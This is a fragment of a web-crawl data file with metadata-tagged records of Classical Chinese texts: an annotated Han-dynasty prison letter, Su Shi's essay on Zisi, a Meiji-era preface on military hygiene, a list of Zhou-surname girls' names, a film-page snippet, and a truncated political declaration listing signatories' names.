0.010913428850471973}","num_words":61,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.263,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.522,"perplexity_score":500.0,"cluster_detection":1} +{"text":"*據中華書局《古文觀止(全二冊)》(1959年9月第1版 2013年8月北京第24次印刷)訂正\n鄒陽獄中上梁王書 西漢文\n鄒陽齊人。從梁孝王景帝少弟。游。陽爲人有智略、忼慨不苟合、介於羊勝公孫詭之間。介、間厠也。勝、詭、皆孝王客。勝等疾陽、惡之孝王。惡、謂讒毀也。孝王怒、下陽吏、將殺之。陽迺從獄中上書曰、臣聞忠無不報、信不見疑、忠信二字、一篇關鍵。臣常以爲然、徒虛語耳。起便跌宕。昔荊軻慕燕丹之義、白虹貫日、太子畏之。荊軻爲燕太子丹西刺秦王、精誠格天、白虹爲之貫日。白虹、兵象、日爲君、爲荊軻表可克之兆。太子尚畏而不信也。衛先生爲秦畫長平之事、太白食昴、昭王疑之。白起爲秦伐趙、破長平軍、欲遂滅趙、遣衛先生說昭王益兵糧。其精誠上達于天、太白爲之食昴。太白、天之將軍、昴、趙分也、將有兵、故太白食昴。昭王尚疑而不信也。夫精變天地、而信不諭兩主、豈不哀哉。變、動也。諭、曉也。今臣盡忠竭誠、畢議願知、盡其計議、願王知之。左右不明、卒從吏訊、爲世所疑、言左右不明、不欲斥王也。訊、鞠問也。是使荊軻衛先生復起、而燕秦不寤也、願大王熟察之。昔玉人獻寶、楚王誅之、楚卞和得玉璞、獻之武王、王示玉人、曰石也、刖其右足。武王沒、復獻文王、玉人復曰、石也、刖其左足。至成王時、抱其璞哭于郊。乃使玉人攻之、果得寶玉。李斯竭忠、胡亥極刑、秦始皇以李斯爲丞相、始皇崩、二世胡亥立、殺李斯、具五刑。是以箕子陽狂、接輿避世、紂淫亂不止、箕子陽狂爲奴。接輿、楚賢人、陽狂避世。恐遭此患也、願大王察玉人李斯之意、而後楚王胡亥之聽、毋使臣爲箕子接輿所笑。臣聞比干剖心、子胥鴟夷、比干強諫、紂怒曰、吾聞聖人心有七竅、遂剖比干觀其心。子胥自刎、吳王夫差取馬革爲鴟夷形、盛子胥尸、投之江。臣始不信、迺今知之、願大王熟察、少加憐焉。以上自謂忠而獲罪、信而見疑、故引荊軻、衛先生之事明之、又引玉人、李斯、比干、子胥足其意、是爲第一段。語曰、有白頭如新、傾蓋如故。白頭、初相識至頭白也。傾蓋者、道行相遇、駐車對語、兩蓋相交、小敧之義也。何則、知與不知也。提出知字、開下文之論端。故樊於期逃秦之燕、藉荊軻首以奉丹事。於期爲秦將、被讒、走之燕、始皇滅其家、又重購之。會燕太子丹遣荊軻欲刺秦王、無以爲藉、於期自刎首、令荊軻齎往。王奢去齊之魏、臨城自剄、以卻齊而存魏。王奢、齊臣也、亡至魏、其後齊伐魏、奢登城謂齊將曰、今君之來、不過以奢故也、義不苟生、以爲魏累、遂自剄。夫王奢樊於期、非新於齊秦而故於燕魏也、所以去二國死兩君者、行合於志、慕義無窮也。是爲真知。是以蘇秦不信於天下、爲燕尾生、蘇秦說齊宣王、使還燕十城、又令閔王厚葬以弊齊、終死於燕、是蘇秦不出其信于天下、于燕則爲尾生之信也。尾生、古之信士、守志亡軀、故以爲喻。白圭戰亡六城、爲魏取中山、白圭爲中山將、亡六城、君欲殺之、亡入魏、文侯厚遇之、還拔中山。何則、誠有以相知也。應醒知字。蘇秦相燕、人惡之燕王、燕王按劍而怒、食寺、以駃決、騠。題、 ○反食蘇秦以異味。駃騠、駿馬名。白圭顯於中山、拔中山而尊顯。人惡之於魏文侯、文侯賜以夜光之璧。反賜白圭以奇珍。 ○又申說一遍。何則、兩主二臣、剖心析肝相信、豈移於浮辭哉。以上思其見疑獲罪之由、皆因于知與不知、故歷引王奢、樊於期、蘇秦、白圭證之。是爲第二段。故女無美惡、入宮見妒、士無賢不肖、入朝見嫉。承上起下。昔司馬喜臏頻上聲、腳於宋、卒相中山、司馬喜、六國時人。臏、刖刑、去膝蓋骨。范雎拉蠟、脅折齒於魏、卒爲應侯、范雎、魏人、魏相魏齊疑其以國陰事告齊、乃掠笞敷百、拉脅折齒。後入秦爲相、封爲應侯。拉、亦折也。此二人者、皆信必然之畫、畫、計也。捐朋黨之私、挾孤獨之交、故不能自免於嫉妒之人也。以之自況。是以申徒狄蹈雍之河、申徒狄、殷末人、自沉于雍州之河。徐衍負石入海、徐衍、周末人、負石自投于海。不容於世、義不苟取比周於朝、以移主上之心。雖不見容、終不苟且朋黨于朝、以感動主上之心。故百里奚乞食於道路、繆公委之以政、百里奚聞秦繆公賢、欲往干之、乏資、乞食以自致。甯戚飯牛車下、桓公任之以國。寧戚爲人飯牛車下、扣牛角而歌、齊桓公聞之、舉以爲相。此二人者、豈素宦於朝、借譽於左右、然後二主用之哉。感於心、合於行、堅如膠漆、昆弟不能離、豈惑於衆口哉。又將相知意結、下復就嫉妒深一層說。故偏聽生姦、獨任成亂。昔魯聽季孫之說逐孔子、齊人歸女樂、季桓子受之、三日不朝、孔子行。宋任子冉之計囚墨翟、子冉、子罕也。夫以孔墨之辯、不能自免於讒諛、而二國以危、何則、衆口鑠金、積毀銷骨也。美金見毀、衆共疑之、數被燒煉、以致銷鑠。讒佞之人、肆其詐巧、離散骨肉、而不覺知。 ○偏聽獨任、痛心千古。秦用戎人由余而伯中國、秦穆公求士、西取由余于戎。齊用越人子臧而彊威宣、齊任子臧、威宣二王所以彊盛。此二國豈係於俗、牽於世、繫奇偏之浮辭哉、公聽並觀、垂明當世。公聽並觀、與上偏聽獨任相反。故意合、則吳越爲兄弟、由余子臧是矣。不合、則骨肉爲讎敵、朱象管蔡是矣。朱、丹朱、堯子。象、舜弟。管蔡、管叔蔡叔。 ○上無朱象管蔡、忽然插入、古文奇恣不拘如此。今人主誠能用齊秦之明、後宋魯之聽、則五伯不足侔、而三王易爲也。以上思其不見知之由、在于無朋黨之私、被讒佞之口、故引司馬喜范雎申徒狄徐衍四人、爲無朋黨之證、引齊秦宋魯四君、爲信讒不信讒之證。是爲第三段。是以聖王覺寤、損子之之心、而不說田常之賢、燕王噲、于禪國于其相子之、國乃大亂。田常、陳恆也、齊簡公悅之、而被弒。封比干之後、修孕婦之墓、武王克商、反其故政、乃封修之。孕婦、紂刳妊者、觀其胎。故功業覆於天下、何則、欲善亡厭也。夫晉文親其讎、彊伯諸侯、齊桓用其仇、而一匡天下、寺人披爲晉獻公逐文公、斬其袪、後文公卽位、用其言以免呂卻之難。管仲射中桓公帶鉤、而用爲相。何則、慈仁殷勤、誠加於心、不可以虛辭借也。桓文欲善無厭。至夫秦用商鞅之法、東弱韓魏、立彊天下、卒車裂之。越用大夫種之謀、禽同擒、勁吳而伯中國、遂誅其身。秦孝公用衛鞅、封爲商君、後犯罪以車裂之。越王勾踐用文種、敗吳王夫差、後被讒賜死。 ○秦越待士、有始無終、不能欲善無厭也。是以孫叔敖三去相而不悔、於烏、陵子仲辭三公、爲人灌園。孫叔敖三爲楚相、三去之而不怨悔。楚王聞陳仲子賢、欲以爲相、仲子夫妻相與逃而爲人灌園。 ○恐始榮而終敗也。今人主誠能去驕傲之心、懷可報之意、士有功可報者者思必報。披心腹、披、開也。見情素、墮肝膽、墮、落也。施德厚、終與之窮達、無愛於士、待士有終、與之窮達如一、無所吝惜于士也。則桀之犬可使吠廢、堯、跖之客可使刺由、跖、盜跖。由、許由。此言被之以恩、則用命也。何況因萬乘之權、假聖王之資乎。然則荊軻湛同沉、七族、要腰、離燔妻子、荊軻爲燕刺秦王、不成而死、其族坐之。湛、沒也。吳王闔閭欲殺王子慶忌、要離詐以罪亡、令吳王燔其妻子、要離走見慶忌、以劍刺之。豈足爲大王道哉。言士皆樂爲之用也。 ○以上思其朋黨得援、讒佞得行。皆因于人主之不能欲善無厭、故歷引桓文秦越反覆明之。是爲第四段。臣聞明月之珠、夜光之璧、以闇同暗、投人於道、衆莫不按劍相眄勉、者、眄、目偏合也。何則、無因而至前也。蟠盤、木根柢、底、輪囷屈平聲。離奇、蟠木、屈曲之木也。柢、根下本也。論囷離奇、委屈盤戾也。而爲萬乘器者、萬乘器、天子車輿之屬。以左右先爲之容也。容、謂雕刻加飾。 ○突出奇喻、振起一篇精神。故無因而至前、雖出隨珠和璧、隨侯珠、和氏璧。秪同祇、怨結而不見德。有人先游、游、謂進納之也。則枯木朽株、樹功而不忘。復說一遍、更有味。今夫天下布衣窮居之士、身在貧羸、貧羸、衣食不充而羸瘦也。雖蒙堯舜之術、挾伊管之辯、伊尹、管仲。懷龍逢旁、比干之意、龍逢、亦紂忠臣。 ○激昂自負語。而素無根柢之容、雖極精神、欲開忠於當世之君、則人主必襲按劍相眄之迹矣。是使布衣之士、不得爲枯木朽株之資也。懷才不遇、宜有此憤激。是以聖王制世御俗、獨化於陶遙、鈞之上、陶家名模下圓轉者爲鈞、蓋云周回調鈞耳。言聖王制馭天下、亦猶陶人轉鈞也。而不牽乎卑亂之語、不奪乎衆多之口、故秦皇帝任中庶子蒙嘉之言以信荊軻、而匕比、首竊發、荊軻至秦、厚遺秦王寵臣中庶子蒙嘉、爲先言于秦王、秦王見之、獻督亢之地圖、圖窮而匕首見。周文王獵涇渭、載呂尚歸、以王天下、西伯出、遇呂尚于渭之陽、與語、大悅、因載歸。秦信左右而亡、周用烏集而王。太公非舊人、若烏鳥之暴集。何則、以其能越攣拘之語、馳域外之議、獨觀乎昭曠之道也。單頂用烏集而王說。今人主沉諂諛之辭、牽帷廧同牆、之制、言爲臣妾侍帷牆者所牽制。使不羈之士、與牛驥同皁。不羈、言才識高遠、不可羈係也。皁、食牛馬器。此鮑焦所以憤於世也。鮑焦、周之介士、怨時之不用己、采蔬于道、抱木而死。 ○此段言人君待士、不可信左右之人。臣聞盛飾入朝者、不以私汙義、底同砥、厲同礪、名號者、不以利傷行。故里名勝母、曾子不入、勝母、不孝。邑號朝歌、墨子回車。朝歌、不時。今欲使天下寥廓之士、寥廓、空大也。籠於威重之權、脅於位勢之貴、回面污行、以事諂諛之人、而求親近於左右、則士有伏死堀同窟、穴巖藪之中耳、安有盡忠信而趨闕下者哉。應起忠信二字。 ○此段言士之自處、不肯附左右之人。 ○以上言世主必欲左右先容、而賢者寧有伏死巖穴、以自明其志。是爲第五段。\n此書詞多偶儷、意多重複、蓋情至窘迫、嗚咽涕洟、故反覆引喻、不能自已耳。其間段落雖多、其實不過五大段文字。每一援引一結束、卽以是以字故字接下。斷而不斷、一氣呵成。","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/neodu.com\/%E3%80%8A%E9%84%92%E9%99%BD%E7%8D%84%E4%B8%AD%E4%B8%8A%E6%A2%81%E7%8E%8B%E6%9B%B8%E3%80%8B%E7%B9%81%E9%AB%94%E5%AD%97%E7%89%88.html","date":"2021-09-26T10:26:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057857.27\/warc\/CC-MAIN-20210926083818-20210926113818-00666.warc.gz","language":"lzh","language_score":0.5073906779,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.5073906779289246, \"cmn_Hani_score\": 0.17523320019245148, \"nan_Hani_score\": 0.044648826122283936, \"zxx_Latn_score\": 0.04061499238014221, \"jpn_Jpan_score\": 0.036938831210136414, \"wuu_Hani_score\": 0.03153488039970398, \"und_Tang_score\": 0.02074168436229229, \"yue_Hani_score\": 0.01584446430206299}","num_words":18,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.185,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.507,"perplexity_score":500.0,"cluster_detection":1} +{"text":"周性女孩起名|周姓女孩起名,如采用,一定重谢?周姓女孩取名\n不要迷信!只要好听,寓意好,叫起来顺口没歧义,喜欢就是最好!乳名: 和和周性女孩起名、笑笑、可可、 转转、小愚-大智若愚、壮壮、小睿、昕心、图图、翔翔、吉吉、 聪儿、丛儿、晨晨、转转、赫赫、多多、文文、乐乐、小钰、小雪、瑞瑞、芯儿、小宝、贝贝、大贝贝、楠楠、宁宁、家家、尼尼、琳林、会会、玲玲、 萧萧、小小、筠筠 、也也、奕奕、希希、朵朵、榛榛 、晴晴 女孩: 周明屿 周铭微 周钰\/语凡 周宇涵 周丹璐 紫涵、桦琳、钰晨 蕊瑗、欣远、梦涵 瑞萱、钰烨、瑞琪 雪融、静宜、雨萌 澎涵、铱程、静徽、 展研、梓璐\/晴、木晗 森淼、琳淼、钥盈 戎旭、丹扬、静萱 爱萌、紫帆、梦昭(晗) 卿如、晨瑞、竹琳(萱) 紫凝、君宇、静瑗(苑) 鲁妍、芳瑞、维瑞(佳) 石蕾、程慧、景钥 彤瑞、婧慈、远维 爽甜、海瑛、奕婷 晓希、研烁、忆南 伊若、佳楠、婧琦 若晴、立烨、静程 锦薇、倩然、丹雪 芯蕊、若蓓、延妍 婉钥、钥\/瑞\/馨婷、瑞媛 (萌) 兰馨、可馨、永欣 彤瑞、钰凝、雨钥 宇昕、瑞晰、谨佳 远慈、雨珊、梦蕾\n周汇寅 周昕昕 周嘉馨 周冰雪 周漫妮 周可韾 周丽怡 周嘉思 周梦思 周梦诗 周思嘉 周僮 周同 周潼 周瞳 周雨晨 周子毅周春名 周春明 周芸熙 周钰珍 周钰珊 周茹鑫 周雯怡 周文怡 周汶怡 周希怡 周汶希 周晓静 周静怡 周宝怡 周慧敏 周心怡周婉群 周芷柔 周嘉慧 周爱云 周宏久 周一涵 周秀秀 周秀格 周艳莲 周凯 周佳逸 周子樱 周樱婷 周佳琦 周玉姣 周芮㬢 周子倩 周琳琳 周司然 周芯蕊 周晓雨 周可 周依桐 周奕馨 周奕朵 周奕伊朵 周奕伊 周奕涵 周奕啧 周旭 周江英 周子荷 周荷子 周紫荷 周欢 周旋娜 周璇娜 周漩娜 周轩娜 周婧涵 周可敏 周雨斐 周文清 周文春 周为 周紫明 周姝晗 周姝凝 周信英周文秀 周家禾 周子贤 周悦依 周妦 周鳯 周彧 周梓菡 周羽佳 周羽丰 周昕羽 周刘栩文 周栩文 周羽文 周贝贝 周馨羽 周羽馨 周羽欣 周周芸 周禹庭 周科伟 周蕊芯 周成骏 周辰骏 周比奥 周家富 周煜珊 周德芳 周翠 周渊 周子璎 周宜荣 周航宇周怡燃 周珺琛 周秀云 周思滢 周思莹 周国章 周予釩 周俞釩 周釩俞 周鱼釩 周梦釩 周思龙 周忠艳 周一诺 周若之 周绍香周雅涵 周骁芮 周晓芮 周筱芮 周菡 周芮菡 周妙衡 周衡 周靖衡 周靖 周云潇 周怡涵 周美彤 周美言 周倚同 周淑雅 周奕欣周辰悦 周辰瑞 周辰芮 周晨芮 周芮辰 周芮晨 周淦标 周刚伟 周珺妍 周欣宇 周彩萍 周采薇 周依萍 周依茹 周茹依 周筱茹周顺 周顺琪 周芮茵 周琴琴 周亦晗 周晗 周予晗 周梦雅 周兰 周修兰 周苑 周柔辛 周亚彤 周红妞 周群 周茗彤 周若曦 周雨彤 周思辰 周若彤 周治彤 周悠然 周鑫雨 周依伶 周焕晴 周子越 周木易 周雨晴 周佩荣 周心妍 周心牌 周风财 周喆 周诗诗 周紫菡 周婉芮 周诗芮 周婉蕙 周诗凝 周芮凝 周筠凝 周蔚凝 周艾凝 周蓓凝 周凝蓓 周婉凝 周伟芳 周文倩 周妤萌 周淼淼 周淼淼 周紫瑄 周才平 周晶瑕 周金瑕 周燕霞 周衍霞 周锦菡 周金霞 周雪薇 周梓芸 周佳轩 周冰倩 周晋晋 周松燕 周美玲 周紫函 周玉英 周紫媛 周玉媛 周丽媛 周子煜 周振 周梓 周舞熙 周女熙 周剑 周子熙 周小红 周沛芝 周芷倩 周佩雯 周佩雯 周淼漫 周淑贤 周沛雯 周永森 周洁颖 周俊彤 周语馨 周根弟 周瑞云 周瑞雨 周成武 周香寒 周敏聪 周易阳 周宣 周杨周思聪 周冲 周泳润 周玉鹅 周晓诗 周紫微 周紫瑶 周雨淋 周笑笑 周诺浠 周畅畅 周新雨 周歆艺 周心宜 周弈彤 周穆晞 周幕晞 周优璇 周婵 周安安 周宇飞 周小枫 周柯 周艺琳 周涛 周炯辉 周沫 周姝研 周锦浠 周楣 周爱诗 周晓兰 周美清 周思歆怡 周钰琪 周诗卿 周艺轩 周秀燕 周韵 周子凯 周文峰 周雨后 周羽乔 周语思 周月乔 周昕悦 周昕怡 周周雯 周周琪 周菊花 周淑涓 周淑欣 周淑琳 周淑婷 周淑瑜 周淑媛 周淑茵 周淑敏 周淑玟 周淑雯 周丽冬 周奕辰 周嘉泽 周卫国 周亿涵 周珊媛 周珊元 周三元 周水 周韵仪 周语桐 周仪诺 周秋霞 周铭悦 周仕慧 周年娣 周青 周思哲 周子玉 周钰涵 周昸晨 周周子萱周宇佳 周开华 周仙格 周宏艳 周溢萱 周瀞香 周淼芊 周子芯 周雨萱 周思维 周智睿 周大齐 周松毅 周小桦 周沛林\n【唐老师谈起名】在百家姓中排行前十大姓之一的周姓女宝宝该如何取名?作为大姓取名,姓名的重名率自然也是很高的,怎样才能取一个,稀奇少见的女孩名呢。下面由唐老师取名小编为大家整理了一些周姓女孩稀奇少见、温婉娴淑的女孩名字给大家参考。有需要的朋友不妨来这里看看。温婉娴淑的周姓女孩名:周碧萱碧:表示碧海、碧玉、碧绿;萱:表示萱草、紫萱,意义优美。周雨茜寓意:代表美好,红艳,清雅秀气,智勇双全,安福尊荣。周慕秋慕:意为敬仰、敬慕、仰慕、思念。可起名如:慕秋、爱慕、慕艺、慕思。秋:秋字的原义是指庄稼或庄稼的成熟、收获。周暄扬喧:喧和、温暖;松软,松散。扬:扬字的本义是指飞起或升高,也引伸报举起或传播、称颂等;意义优美。周莹露:莹:本义指珠光的光采,也指光洁像玉的石头。作人名时,多表示光洁透明、聪明伶俐、才能出众。莹字繁体字为\"瑩\",头上两火,结合来看,莹字的火五行最旺。;露:意为水珠、晶莹;周梦晓梦:梦字本义是指人在睡眠时产生想象的影像、声音,在人名里希望孩子有梦想、心想事成;\"晓\"本义指天明,引申为知道的意思,用于姓名有朝气蓬勃,清晰明了,姿容可爱美好等寓意。周瑶兮瑶:字的原义指美玉,或者像玉的一种漂亮石头;光明磊落、尽善尽美之义,也常用\"瑶花琪树\"来形容人的容貌和智力出众;兮:是文言助词,用这类助词取名会使女孩名字更为古典,听起来也很有诗意感。温婉娴淑的女孩名:周煜蕊 周幼旋 周蕊妤 周晨悦周新颖 周抒颐 周湘如 周妍涵周熙飞 周蕊煊 周涵荷 周涵誉周婌蕾 周妍磬 周舒琴 周妤如周彤雨 周含煊 周姝宛 周芯兰周子翼 周莘含 周雁焓 周梦薇周亿翌 周睿娴 周雅歆 周睿窈周雪卉 周舒彤 周白璐 周慕秋周纯文 周云誉 周翠烟 周婉容周甜遥 周淑佟 周彦殊 周姝扬周以萱 周歆苑 周悦爱 周淑薇周颢艺 周颜蕊 周岳文 周舒婷周云昱 周文诺 周旭云 周姝悦周昕洋 周芹忻 周倩宇 周益皓周琳逸 周雪悠 周家芯 周妃雅周如暄 周玥茹 周忻芩 周岩宇周妍诗 周茹萍 周雪菡 周翌雨周语忆 周诺雨 周淑奕 周睿思周姝羽 周菡微 周耘依 周昕宣周耘毓 周依暄 周海萍 周芹莺周憧淑 周依芩 周莹琦 周欣琪周巧芯 周暄扬 周睿文 周羽茵周舒育 周羽玲 周焓露 周含予周莹潇 周晴睿 周遥淇 周芸容周彤如 周雅凡 周宣抒 周双函周薇雯 周秀缘 周骄倩 周晗聪周谣琦 周碧暄 周雪岚 周茗含周元彤 周云馨 周天宸 周叶彤周浠语 周欣蕙 周奕雯 周忻煊周馨婷 周蕊佩 周湘缘 周丹晨周宸舒 周琳艺 周语衣 周茹馨周亦菡 周函茵 周贻菡 周琴琦周子暄 周灵瞳 周智云 周毓芸周萧玥 周昱茹 周雪媛 周嘉遥周抒旋 周羽谣 周婌意 周歆若周淼暄 周涵忻 周滢倩 周蕊晗周蕊颍 周予羽 周梓歆 周缘玥周佳丽 周灏耘 周羽彤 周贝宇周忻舒 周蕊娜 周宇绮 周语媛周雨希 周歆淼 周佳懿 周雯晔周雨诗 周文容 周萌雅 周莹昕周雅青 周熙瑗 周丽瑛 周夕羽周晟暄 周抒祁 周羽熙 周烨芩周若璇 周梓妤 周歆憧 周诗娥周琳彦 周玥芝 周羽妙 周安然周耘歆 周宇弛 周茜函 周琼莹周利雨 周舒诗 周逸芬 周耘萦周奕馨 周静芸 周佳泓 周菡容周姝轩 周宣蓉 周睿祺 周语箫周馨含 周舒静 周咏昕 周语依周抒捷 周依如 周雨祺 周益芸周舒昊 周涵雯 周谣艺 周琦文周采蓉 周汶晨 周耘涵 周子蕊周丹雪 周含莺 周美云 周奕琳周遥抒 周紊文 周浩晗 周羽汝周昊怡 周玲梦 周雅容 周之忻周懿馨 周蕊蔓 周玲晨 周羽诗周晨美 周缘婷 周昕姗 周绍含周雅婧 周金新 周雅舒 周蕊毓周宇懿 周欣露 周予如 周苑瑶周宇宁 周抒贞 周暮云 周源宸周恬静 周含宜 周蕊虹 周蕊菲周馨雯 周芸颜 周颢欣 周纯妤【唐老师谈起名】姓名不仅仅是一个符号,它承载着许多文化和期望,好的名字将会影响人的一生。俗话说:好名+好命=锦上添花;好名+坏命=雪中送炭;坏名+好命=有心无力; 坏命+坏名=火上浇油!… 所以好的名字还需结合八字来。如有取名或是改名方面的疑惑也可在文章下方评论留言哦!看到会第一时间回复大家。 喜欢记得关注、点赞、分享哟!","id":"","dump":"CC-MAIN-2021-43","url":"http:\/\/www.zhangjunvip.com\/post\/155.html","date":"2021-10-25T23:01:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323587770.37\/warc\/CC-MAIN-20211025220214-20211026010214-00585.warc.gz","language":"lzh","language_score":0.61061728,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6106172800064087, \"cmn_Hani_score\": 0.22302360832691193, \"nan_Hani_score\": 0.1381140798330307, \"wuu_Hani_score\": 0.024685034528374672}","num_words":584,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.676,"perplexity_score":500.0,"cluster_detection":1} +{"text":"請勿相信視頻內字幕廣告與網址!!\nHD\n導演:魏君子主演:徐克 袁和平 洪金寶 成龍 甄子丹 程小東 劉偉強 元華 元秋 錢小豪 錢嘉樂 曾誌偉 吳思遠 唐季禮 劉家榮 梁小龍 董瑋 穀軒昭 元播放:pp_vod次","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/www.33mov.com\/url-113620-go-0-1.html","date":"2021-10-19T15:54:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585270.40\/warc\/CC-MAIN-20211019140046-20211019170046-00267.warc.gz","language":"lzh","language_score":0.7182666063,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.7182666063308716, \"cmn_Hani_score\": 0.12762072682380676, \"nan_Hani_score\": 0.08501935005187988, \"yue_Hani_score\": 0.06529144942760468}","num_words":21,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.642,"perplexity_score":500.0,"cluster_detection":1} +{"text":"應詔集子思論\n昔者夫子之文章,非有意於為文,是以未嘗立論也。所可得而言者,惟其歸於至當,斯以為聖人而已矣。夫子之道,可由而不可知,可言而不可議。此其不爭為區區之論,以開是非之端,是以獨得不廢,以與天下後世為仁義禮樂之主。夫子既沒,諸子之欲為書以傳於後世者,其意皆存乎為文,汲汲乎惟恐其汩沒而莫吾知也,是故皆喜立論。論立而爭起。自孟子之後,至於荀卿、揚雄,皆務為相攻之說,其餘不足數者紛紜於天下。\n嗟夫!夫子之道,不幸而有老聃、莊周、楊朱、墨翟、田駢、慎到、申不害、韓非之徒,各持其私說,以攻乎其外,天下方將惑之,而未知其所適從。奈何其弟子門人,又內自相攻而不決。千載之後,學者愈眾,而夫子之道益晦而不明者,由此之故歟。\n昔三子之爭,起於孟子。孟子曰:「人之性善。」是以荀子曰:「人之性惡。」而楊子又曰:「人之性,善惡混。」孟子既已據其善,是故荀子不得不出於惡。人之性有善惡而已,二子既已據之,是以楊子亦不得不出於善惡混也。為論不求其精,而務以為異於人,則紛紛之說,未可以知其所止。\n且夫夫子未嘗言性也,蓋亦嘗言之矣,而未有必然之論也。孟子之所謂性善者,皆出於其師子思之書。子思之書,皆聖人之微言篤論,孟子得之而不善用之,能言其道而不知其所以為言之名。舉天下之大,而必之以性善之論,昭昭乎自以為的於天下,使天下之過者,莫不欲援弓而射之。故夫二子之為異論者,皆孟子之過也。\n若夫子思之論則不然,曰:「夫婦之愚,可以與知焉。及其至也,雖聖人亦有所不知焉。夫婦之不肖,可以能行焉。及其至也,雖聖人亦有所不能焉。」聖人之道,造端乎夫婦之所能行,是以天下無不可學。而極乎聖人之所不能知,是以學者不知其所窮。夫如是,則惻隱足以為仁,而仁不止於惻隱。羞惡足以為義,而義不止於羞惡。此不亦孟子之所以為性善之論歟。子思論聖人之道出於天下之所能行,而孟子論天下之人皆可以行聖人之道。此無以異者。而子思取必於聖人之道,孟子取必於天下之人。故夫後世之異議皆出於孟子。而子思之論,天下同是而莫或非焉。然後知子思之善為論也。","id":"","dump":"CC-MAIN-2021-49","url":"http:\/\/www.xn--5rtnx620bw5s.tw\/i\/i04\/7039.htm","date":"2021-12-02T12:57:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362219.5\/warc\/CC-MAIN-20211202114856-20211202144856-00284.warc.gz","language":"lzh","language_score":0.5841104388,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.5841104388237, \"cmn_Hani_score\": 0.3176853060722351, \"nan_Hani_score\": 0.08794604986906052}","num_words":6,"character_repetition_ratio":0.012,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.733,"perplexity_score":500.0,"cluster_detection":1} +{"text":"依田 學海\n戡亂於既亂、非良相也。治病於既病、非良醫也。察其將亂、以道遏之、審其將病、以術防之。蓋衛生之學於是乎創焉。\n森生學醫於大學。登科出身。陞爲陸軍軍醫。居三年、軍府命醫官、講軍事衛生之學。擇其可任者、差遣德國、受其業。蓋德國夙以醫學冠於萬國也。生被擇以行。\n夫天下之事易於言、而難於行。殊衛生爲甚焉。顧其爲法、潔居所、愼飲食、不近汚物、不觸腐氣、運動四肢、循環氣血。事簡而易行也。然市井閭巷、居隘人衆、細民賤業、饑寒是憂。疾病且死、尚且不服薬。寧暇預防其患乎。\n況軍旅之事、犯鋒鏑蹈白刃、萬死一生。目不爲瞬。慮病避患固非所顧也。是以有侵瘴毒觸炎熱、未交戰而碎腦於陣營者矣。有冒霜雪凌祁寒、未接兵而墮指於途上者矣。雖良平之智、賁育之勇、一無所施、坐視奮勇敢死之駢首就死、莫之救也。嗚呼、是軍事衛生之學所以急於今日歟。\n昔者上杉輝虎之與北條氏戰於駿河也、時適季冬、寒威凜冽。北條氏陣薩埵嶺。輝虎夜召諸將飲。問曰、爾等覺寒乎。曰非賜酒且凍死矣。輝虎曰、然、吾知敵之畏寒下嶺而陣也。乃急率兵掩其不備破之。是固雖出輝虎之智勇、而未必不由北條氏之徒犯祁寒以弊將士也。兵法曰、百戦百勝、非善之善者也。不戰而勝。善之善者也。然則克戰於未戰、治病於未病、戡亂於未亂。可以講衛生之學矣。\n雖然、古今異宜、東西殊俗。便於古者、未必便於今。宜於彼者、未必宜於此。酙酌融會以適時宜、將望有識之士焉。則生之此行、吾知必有不負其責任者。生其勗之。\n2008年8月9日公開。","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/kambun.jp\/kambun\/yoda-ogai.htm","date":"2022-01-25T17:24:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320304859.70\/warc\/CC-MAIN-20220125160159-20220125190159-00577.warc.gz","language":"lzh","language_score":0.5143475533,"language_script":"Hani","minhash_cluster_size":7,"top_langs":"{\"lzh_Hani_score\": 0.5143475532531738, \"cmn_Hani_score\": 0.30619940161705017, \"jpn_Jpan_score\": 0.0673188865184784, \"wuu_Hani_score\": 0.033126331865787506, \"yue_Hani_score\": 0.030297204852104187, \"nan_Hani_score\": 0.029941212385892868}","num_words":9,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.176,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.514,"perplexity_score":500.0,"cluster_detection":1} +{"text":"退出恶党的团组织,迎接光明的未来。\n声明人:徐世良 赫崇义 郎群 赵秀娥 文成祥 卜凤阁 王俊义 王强 孙桂芳 梅清达 关凤华 周常忠 薛华 刘勇 刘安 于成义 白国俊 高占义 鄂善君 赫华 张桂芳 刘志强 张永义 刘吉林 翟芳 张兆明 王成义 孙桂华 秦怡 李兴俊 周忠堂 李英 陈志明 张华 李志刚 邹云丽 周常义 卢景权 王崇祥 赵明仁 王崇志 姜忠义 唐连忠 赵桂艳 李明祥 金玉霞 张兆强 卢丙君 赵英明 邵秀芳 王崇明 陶凤娟 乎云芳 艾浩仁 李英玲 关成飞 朱文华 李兰芳 高永源 李明祥 刘清萍 时霞 佟淑芳 王云芳 